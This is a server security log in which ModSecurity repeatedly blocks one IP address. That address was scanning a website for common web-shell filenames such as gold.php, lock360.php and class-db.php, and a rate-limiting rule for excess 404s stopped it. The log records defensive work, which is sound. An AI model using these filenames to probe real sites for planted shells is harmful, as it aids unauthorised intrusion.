[Mon Nov 17 05:09:52.163690 2025] [:error] [pid 39449:tid 39471] [client 48.218.71.119:6839] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aRo9oKUCymTA3MDfzLOEiwAAABE"]
[Mon Nov 17 05:09:52.801087 2025] [:error] [pid 39449:tid 39477] [client 48.218.71.119:6870] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gold.php"] [unique_id "aRo9oKUCymTA3MDfzLOEjAAAABc"]
[Mon Nov 17 05:09:53.539438 2025] [:error] [pid 39449:tid 39472] [client 48.218.71.119:6865] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gold.php"] [unique_id "aRo9oaUCymTA3MDfzLOEjgAAABI"]
[Mon Nov 17 05:09:53.976589 2025] [:error] [pid 39537:tid 39548] [client 48.218.71.119:6933] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gold.php"] [unique_id "aRo9oYZRrh1pcrdcLB_OYgAAAMg"]
[Mon Nov 17 05:09:54.467068 2025] [:error] [pid 39537:tid 39543] [client 48.218.71.119:6793] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gold.php"] [unique_id "aRo9ooZRrh1pcrdcLB_OZwAAAMM"]
[Mon Nov 17 05:09:54.932875 2025] [:error] [pid 40548:tid 40557] [client 48.218.71.119:6826] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aRo9ogM_PykfYnxh-j-i-gAAAQc"]
[Mon Nov 17 05:09:55.273593 2025] [:error] [pid 40548:tid 40564] [client 48.218.71.119:6808] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aRo9owM_PykfYnxh-j-i-wAAAQ4"]
[Mon Nov 17 05:09:56.043401 2025] [:error] [pid 39451:tid 39511] [client 48.218.71.119:6837] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aRo9pOfgkqXTS0SO3fBh0gAAAIM"]
[Mon Nov 17 05:09:56.603212 2025] [:error] [pid 39449:tid 39461] [client 48.218.71.119:6801] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aRo9pKUCymTA3MDfzLOEkAAAAAc"]
[Mon Nov 17 05:09:57.601178 2025] [:error] [pid 39449:tid 39464] [client 48.218.71.119:6812] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aRo9paUCymTA3MDfzLOEkgAAAAo"]
[Mon Nov 17 05:09:58.670208 2025] [:error] [pid 40548:tid 40567] [client 48.218.71.119:6893] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aRo9pgM_PykfYnxh-j-jAgAAARE"]
[Mon Nov 17 05:09:59.477332 2025] [:error] [pid 39449:tid 39459] [client 48.218.71.119:6898] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aRo9p6UCymTA3MDfzLOEngAAAAU"]
[Mon Nov 17 05:10:00.011890 2025] [:error] [pid 39449:tid 39464] [client 48.218.71.119:6951] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aRo9qKUCymTA3MDfzLOEpQAAAAo"]
[Mon Nov 17 05:10:00.616478 2025] [:error] [pid 40548:tid 40569] [client 48.218.71.119:6958] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aRo9qAM_PykfYnxh-j-jBAAAARM"]
[Mon Nov 17 05:10:01.213113 2025] [:error] [pid 40548:tid 40558] [client 48.218.71.119:7095] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aRo9qQM_PykfYnxh-j-jCAAAAQg"]
[Mon Nov 17 05:10:02.309393 2025] [:error] [pid 39450:tid 39485] [client 48.218.71.119:6846] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aRo9quoZqPB4_7vNEDSMEAAAAEQ"]
[Mon Nov 17 05:10:02.777388 2025] [:error] [pid 39537:tid 39544] [client 48.218.71.119:6758] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aRo9qoZRrh1pcrdcLB_OhwAAAMQ"]
[Mon Nov 17 05:10:03.348147 2025] [:error] [pid 39451:tid 39511] [client 48.218.71.119:7047] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aua.php"] [unique_id "aRo9q-fgkqXTS0SO3fBh2AAAAIM"]
[Mon Nov 17 05:10:03.798101 2025] [:error] [pid 39450:tid 39488] [client 48.218.71.119:6888] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aua.php"] [unique_id "aRo9q-oZqPB4_7vNEDSMEQAAAEc"]
[Mon Nov 17 05:10:04.042142 2025] [:error] [pid 39450:tid 39495] [client 48.218.71.119:6875] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aua.php"] [unique_id "aRo9rOoZqPB4_7vNEDSMEgAAAE4"]
[Mon Nov 17 05:10:04.366950 2025] [:error] [pid 40548:tid 40552] [client 48.218.71.119:6897] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aua.php"] [unique_id "aRo9rAM_PykfYnxh-j-jDAAAAQI"]
[Mon Nov 17 05:10:04.847153 2025] [:error] [pid 39449:tid 39463] [client 48.218.71.119:6835] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aRo9rKUCymTA3MDfzLOE0wAAAAk"]
[Mon Nov 17 05:10:05.402514 2025] [:error] [pid 39449:tid 39474] [client 48.218.71.119:6797] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aRo9raUCymTA3MDfzLOE2AAAABQ"]
[Mon Nov 17 05:10:06.568175 2025] [:error] [pid 39537:tid 39542] [client 48.218.71.119:6838] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aRo9roZRrh1pcrdcLB_OiwAAAMI"]
[Mon Nov 17 05:10:07.940843 2025] [:error] [pid 39449:tid 39467] [client 48.218.71.119:6895] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aRo9r6UCymTA3MDfzLOE5gAAAA0"]
[Mon Nov 17 05:10:09.345507 2025] [:error] [pid 39450:tid 39496] [client 48.218.71.119:6956] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/great.php"] [unique_id "aRo9seoZqPB4_7vNEDSMFwAAAE8"]
[Mon Nov 17 05:10:09.960502 2025] [:error] [pid 39537:tid 39563] [client 48.218.71.119:6828] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/great.php"] [unique_id "aRo9sYZRrh1pcrdcLB_OkwAAANc"]
[Mon Nov 17 05:10:10.489096 2025] [:error] [pid 40548:tid 40564] [client 48.218.71.119:6831] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/great.php"] [unique_id "aRo9sgM_PykfYnxh-j-jEgAAAQ4"]
[Mon Nov 17 05:10:11.031412 2025] [:error] [pid 39451:tid 39519] [client 48.218.71.119:6855] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/great.php"] [unique_id "aRo9s-fgkqXTS0SO3fBh5AAAAIs"]
[Mon Nov 17 05:10:11.698947 2025] [:error] [pid 39449:tid 39477] [client 48.218.71.119:6910] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aRo9s6UCymTA3MDfzLOFAAAAABc"]
[Mon Nov 17 05:10:12.041171 2025] [:error] [pid 40548:tid 40552] [client 48.218.71.119:6856] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aRo9tAM_PykfYnxh-j-jEwAAAQI"]
[Mon Nov 17 05:10:13.265825 2025] [:error] [pid 39451:tid 39524] [client 48.218.71.119:6799] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aRo9tefgkqXTS0SO3fBh6AAAAJA"]
[Mon Nov 17 05:10:13.782706 2025] [:error] [pid 39537:tid 39562] [client 48.218.71.119:6943] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aRo9tYZRrh1pcrdcLB_OmgAAANY"]
[Mon Nov 17 05:10:14.643743 2025] [:error] [pid 40548:tid 40567] [client 48.218.71.119:6911] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pass.php"] [unique_id "aRo9tgM_PykfYnxh-j-jFwAAARE"]
[Mon Nov 17 05:10:15.615002 2025] [:error] [pid 39537:tid 39553] [client 48.218.71.119:6776] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pass.php"] [unique_id "aRo9t4ZRrh1pcrdcLB_OnQAAAM0"]
[Mon Nov 17 05:10:16.480859 2025] [:error] [pid 40548:tid 40555] [client 48.218.71.119:6842] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pass.php"] [unique_id "aRo9uAM_PykfYnxh-j-jGgAAAQU"]
[Mon Nov 17 05:10:16.981247 2025] [:error] [pid 39451:tid 39514] [client 48.218.71.119:6906] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pass.php"] [unique_id "aRo9uOfgkqXTS0SO3fBh6wAAAIY"]
[Mon Nov 17 05:10:18.024941 2025] [:error] [pid 40548:tid 40573] [client 48.218.71.119:6791] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aRo9ugM_PykfYnxh-j-jHQAAARc"]
[Mon Nov 17 05:10:18.518036 2025] [:error] [pid 39450:tid 39492] [client 48.218.71.119:6734] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aRo9uuoZqPB4_7vNEDSMHwAAAEs"]
[Mon Nov 17 05:10:19.024523 2025] [:error] [pid 39451:tid 39531] [client 48.218.71.119:6974] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aRo9u-fgkqXTS0SO3fBh7gAAAJc"]
[Mon Nov 17 05:10:19.515832 2025] [:error] [pid 39451:tid 39519] [client 48.218.71.119:6845] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aRo9u-fgkqXTS0SO3fBh8QAAAIs"]
[Mon Nov 17 05:10:20.309798 2025] [:error] [pid 40548:tid 40559] [client 48.218.71.119:6721] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ot.php"] [unique_id "aRo9vAM_PykfYnxh-j-jHwAAAQk"]
[Mon Nov 17 05:10:21.031897 2025] [:error] [pid 39450:tid 39493] [client 48.218.71.119:6723] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ot.php"] [unique_id "aRo9veoZqPB4_7vNEDSMJAAAAEw"]
[Mon Nov 17 05:10:22.488902 2025] [:error] [pid 39451:tid 39509] [client 48.218.71.119:6863] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ot.php"] [unique_id "aRo9vufgkqXTS0SO3fBh9AAAAIE"]
[Mon Nov 17 05:10:23.543474 2025] [:error] [pid 40548:tid 40552] [client 48.218.71.119:6785] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ot.php"] [unique_id "aRo9vwM_PykfYnxh-j-jIwAAAQI"]
[Mon Nov 17 05:10:29.826223 2025] [:error] [pid 39450:tid 39487] [client 48.218.71.119:6794] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aRo9xeoZqPB4_7vNEDSMNgAAAEY"]
[Mon Nov 17 05:10:30.473851 2025] [:error] [pid 40548:tid 40567] [client 48.218.71.119:7156] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aRo9xgM_PykfYnxh-j-jOAAAARE"]
[Mon Nov 17 05:10:31.854924 2025] [:error] [pid 39450:tid 39501] [client 48.218.71.119:7137] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aRo9x-oZqPB4_7vNEDSMOQAAAFQ"]
[Mon Nov 17 05:10:33.396213 2025] [:error] [pid 39537:tid 39543] [client 48.218.71.119:6827] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aRo9yYZRrh1pcrdcLB_PEwAAAMM"]
[Mon Nov 17 05:10:34.207678 2025] [:error] [pid 39449:tid 39476] [client 48.218.71.119:6819] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-db.php"] [unique_id "aRo9yqUCymTA3MDfzLOFLwAAABY"]
[Mon Nov 17 05:10:34.642833 2025] [:error] [pid 39450:tid 39492] [client 48.218.71.119:7052] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-db.php"] [unique_id "aRo9yuoZqPB4_7vNEDSMPQAAAEs"]
[Mon Nov 17 05:10:35.876826 2025] [:error] [pid 39537:tid 39558] [client 48.218.71.119:6847] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-db.php"] [unique_id "aRo9y4ZRrh1pcrdcLB_PHgAAANI"]
[Mon Nov 17 05:10:36.878736 2025] [:error] [pid 40548:tid 40561] [client 48.218.71.119:7081] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-db.php"] [unique_id "aRo9zAM_PykfYnxh-j-jUQAAAQs"]
[Mon Nov 17 05:10:37.744858 2025] [:error] [pid 39450:tid 39495] [client 48.218.71.119:6829] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aRo9zeoZqPB4_7vNEDSMPgAAAE4"]
[Mon Nov 17 05:10:38.385042 2025] [:error] [pid 39537:tid 39540] [client 48.218.71.119:6832] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aRo9zoZRrh1pcrdcLB_PIAAAAMA"]
